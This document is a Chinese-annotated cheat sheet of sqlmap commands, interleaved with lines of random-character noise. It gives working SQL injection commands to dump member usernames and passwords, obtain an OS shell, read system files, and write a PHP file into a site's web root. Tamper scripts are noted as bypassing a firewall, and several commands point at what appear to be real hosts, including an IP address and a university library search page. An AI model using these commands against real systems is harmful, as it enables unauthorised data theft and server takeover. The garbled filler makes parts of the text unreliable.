/pentest/database/sqlmap
1 _! L3 K+ D. r) m( a: @- M/ l) z: D E. j8 D
update :::::> in the folder after execute following order : svn update
; X/ @" c4 h& E. E; g7 X, t7 n8 g1 L) l
sqlmap.py -r 1.txt --current-db
" q, y& |4 {+ w5 ?, d. a! d2 S, o- i6 J; ]8 b+ O1 q
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
' u9 ?: i5 B# p% Y% c' `& g$ G8 D5 G
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) c; L6 _9 I; Y" M" ^
猜解数据库0 a9 r; r) F- b1 o* _
./sqlmap.py -u "injection-url" --dbs! B" f: ]0 U0 S7 B5 B4 u
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"4 E& P4 l, {8 E3 F+ J. h
2 [6 d' S! ^7 P5 W. N
猜解表名
5 b0 W/ E8 X" X5 M! [./sqlmap.py -u "injection-url" -D database_name --tables& S6 k0 x. i1 l% }
; G% N, @- z( J P& z- w z7 r: ysqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"/ ]6 ~$ X1 A7 H. b2 m
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 0 E! Q1 h J" t$ A& H8 V! g% `/ p1 D7 ~- O
& D- k4 `) \, u* @0 U) Tsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump/ [( J$ a7 H8 |6 Y- f! i
4 J+ f. |2 d+ z+ l/ U7 Gsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
?( t( I1 z% ~$ ]) Fsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
8 n. u, |) r4 v" c4 U4 g, F2 {sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
, I% m% O1 n" w( ]' g9 Bsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"1 c6 ]: U' u6 ]3 `6 z
, d: ^6 t3 V, W3 G. M
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
0 L P0 Y) }8 k* N% Z- W$ P& vsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
: [% Y' _2 Y! i6 Qsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
7 _8 v, x7 i/ @# H+ l# Vsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"' W, s2 w( Y5 A4 x) l: g' O
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
4 ~# ^2 t3 n) K$ k$ C6 Y
( E, s* i1 C& _3 A0 L, Bsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了. @& O- a( Z4 e2 l
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py". O" D& x9 J/ g" ?
3 y" Q5 m0 @% ~8 i7 @
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
( Q- I1 E2 M8 Y# Z1 h5 i# f猜解列名! m0 C3 H% i3 p- s/ `4 H& ^) n5 i6 z
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
3 _1 V4 p W; J1 z; R e- n2 X, _0 ]" R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" & G0 ]. F1 i3 ~; e
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" " @! R5 d5 E! I% n" D' T
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
. u' m+ B3 K4 _% {& m) k" s/ a# T& K7 @8 A h
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
, S4 B; x1 N$ L: B3 {6 t- c* i&submit=Go% j2 d; ?+ f/ k' b S. x% ]
猜解值+ k4 g' h5 v+ G: x3 P
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump }0 i( l0 y5 U6 e
========================================================
! u! C1 Q, f4 Q z' w' J搜索表名中包括mana字符的
m, w3 y+ z/ J- g8 Y1 d/sqlmap.py -u "injection-url" -T mana --search
; u! C) R3 Y8 Y2 o( x返回一个交互式sql shell
( g4 U% q6 |" k2 o" B/sqlmap.py -u "injection-url" --sql-shell4 c3 { ]5 [ l9 X
读取指定文件(需权限), }$ Y* u {- @7 g. O: z1 r3 h; g! Y
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
; F9 t" l$ ]* Q5 R查看当前 用户 及 数据库 2 s: H# V5 |0 ]4 j
/sqlmap.py -u "injection-url" --current-user --current-db2 ]# a4 R6 ]% f; E- h; ?3 W# b# g
本地文件 写入 远程目标绝对路径7 O& J. h+ v9 X( m" d9 r" B
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
* d3 k% T& {3 K! J' Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
3 b, d9 z( c! H; M _4 v* `' \, [
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
& g: h: S; u, p& s2 }. `查看某用的权限! q5 Q `) `+ h& J8 A. |
/sqlmap.py -u "injection-url" --privileges -U root9 Z7 y3 b$ F# t) a5 b
查看当前用户是否为dba: _) |3 _" T( \3 s- @
/sqlmap.py -u "injection-url" --is-dba
: _+ T3 ^! A# K0 d; T2 H读取所有数据库用户或指定数据库用户的密码4 k+ w5 @% S0 w7 P# L
sqlmap.py -r 1.txt --users --passwords( |. f$ z4 K9 f0 v( Y/ N. I! B
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
: q' r7 r" }" U+ v' x7 J& l4 }6 Z; }4 `& q* h3 s& G
/sqlmap.py -u "injection-url" --passwords -U root
9 r6 g, U, Z- x; z: ~1 j5 A/ c: M6 O7 b
--start&&--stop 与 --first&&--last 的区别: ^/ [4 k0 E7 J ]) S$ H0 r6 q7 I4 L
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)& c7 ]8 P) X0 Z" B% L( M& K
3 y% m0 \% z) T4 E/ R
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
' n/ ]" k7 B. b/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables( m: W; ?$ F2 }* ~6 f3 R3 P4 _
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns4 @5 x0 ^1 O) h* _; W' `
0 i9 u, s5 R9 ^8 @6 b
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)) m. A" o& P/ R, q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
5 Y) a& M- ~; y+ `. {% o, G4 [
7 I$ J4 @8 U P4 |3 ~" k6 C. N |